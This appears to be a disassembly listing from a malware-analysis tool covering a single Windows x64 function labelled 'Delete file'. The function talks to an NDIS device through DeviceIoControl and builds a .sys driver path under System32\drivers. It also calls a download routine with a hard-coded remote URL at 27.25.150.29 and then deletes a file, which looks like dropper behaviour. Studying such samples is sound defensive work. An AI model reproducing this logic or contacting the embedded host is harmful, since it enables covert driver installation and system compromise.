Function at 0x140057530
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x140084040]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov rsi, rcx
mov qword [rsp + 0x60], rcx
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 3
mov r8d, edx
lea rcx, str..NDIS
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14008b438], rax
mov qword [rbp - 0x70], 0x29a
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rcx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 8
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x20], rcx
lea r9d, [r12 + 0x28]
lea r8, [rbp - 0x28]
mov edx, 0x44aa4180
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp qword [rbp - 0x70], 1
je 0x14005787b
lea rcx, [rbp - 0x28]
call fcn.140057f40
nop
mov r8, rax
lea rdx, str.C:WindowsSystem32drivers_
lea rcx, [rsp + 0x40]
call fcn.140056fc0
mov rcx, rax
mov rdx, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov rax, r9
sub rax, rdx
cmp rax, 4
jb 0x140057658
lea r8, [rdx + 4]
mov qword [rcx + 0x10], r8
mov rax, rcx
cmp r9, 8
jb 0x140057643
mov rax, qword [rcx]
movabs r9, 0x7300790073002e
mov qword [rax + rdx*2], r9
mov word [rax + r8*2], r12w
jmp 0x140057677
mov qword [rsp + 0x20], 4
lea r9, str..sys
xor r8d, r8d
lea edx, [r8 + 4]
call fcn.140057120
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rcx]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 7
mov word [rcx], r12w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400576ea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400576e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400576e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059748
movdqa xmm0, xmmword [0x140071c20]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r12w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x140057741
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005773c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005773c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059748
movdqa xmm0, xmmword [0x140071c20]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], r12w
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rdx, qword [rbp - 0x48]
lea rcx, str.http:__27.25.150.29:20246_Distribute_.e
call fcn.140058a60
lea rcx, [rbp - 0x48]
call fcn.140058330
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
cmp dword [0x14008b430], 0x5dc
jae 0x140057838
lea rdx, [0x140062000]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140056cd0
mov rcx, rax
mov edx, dword [0x14008b430]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140022e40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x140057819
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057814
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005786f
call fcn.140059748
movdqa xmm0, xmmword [0x140071c20]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x48], r12w
mov rcx, rsi
call fcn.14001d430
jmp 0x140057bb4
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14005787b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140057876
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057876
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140059748
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
lea rax, [rbp + 0x40]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x200
mov qword [rsp + 0x20], r12
mov r9d, 0x28
lea r8, [rsp + 0x68]
mov edx, 0x84a28000
mov rcx, qword [0x14008b438]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
lea rax, [rbp + 0x40]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400578e4
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x140057bed
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x140057929
mov qword [rbp - 0x58], rdi
mov r8, rdi
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x68], 0
jmp 0x140057973
mov rax, rdi
or rax, 0xf
cmp rax, r14
ja 0x140057944
mov r14, rax
mov ecx, reloc.WS2_32.dll_shutdown
cmp rax, rcx
cmovb r14, rcx
lea rdx, [r14 + 1]
lea rcx, [rbp - 0x68]
call fcn.14002b7e8
mov rbx, rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
mov r8, rdi
lea rdx, [rbp + 0x40]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], 3
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x140062028]
mov word [rbp], ax
movzx eax, byte [0x14006202a]
mov byte [rbp + 2], al
mov byte [rbp + 3], 0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], 3
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov ebx, dword [0x14006202c]
mov word [rbp + 0x20], bx
mov byte [rbp + 0x23], 0
xor r8d, r8d
lea rdx, [rbp]
lea rcx, [rbp - 0x68]
call fcn.14001d278
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x68]
mov rdi, qword [rbp - 0x68]
mov r14, qword [rbp - 0x50]
cmp r14, 0x10
cmovae rax, rdi
mov qword [rbp - 0x70], rax
mov rcx, qword [rbp - 0x58]
cmp rcx, 3
jb 0x140057a65
lea r12, [rcx + rax]
movsx r13d, bl
lea r8, [r12 - 2]
sub r8, rax
mov edx, r13d
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140057a62
movzx r15d, byte [rbp + 0x21]
cmp byte [rax], bl
jne 0x140057a3a
cmp byte [rax + 1], r15b
jne 0x140057a3a
movzx ecx, byte [0x14006202e]
cmp byte [rax + 2], cl
jne 0x140057a3a
xor ecx, ecx
jmp 0x140057a3f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140057b19
inc rax
lea r8, [r12 - 2]
sub r8, rax
mov edx, r13d
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140057a20
xor r12d, r12d
mov rax, 0xffffffffffffffff
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x140057b25
cmp rax, 0xffffffffffffffff
jne 0x140057b25
cmp r14, 0x10
jb 0x140057ab9
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140057ab1
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140057b50
mov rcx, rdi
call fcn.140059748
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140057b03
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140057afe
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057be6
mov rcx, r8
call fcn.140059748
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov al, 1
jmp 0x140057bb6
sub rax, qword [rbp - 0x70]
xor r12d, r12d
jmp 0x140057a6c
cmp r14, 0x10
jb 0x140057b5f
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140057b57
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140057b57
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140059748
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140057ba5
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140057ba0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140057be6
mov rcx, r8
call fcn.140059748
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
xor al, al
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140059f70
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001624
nop
int3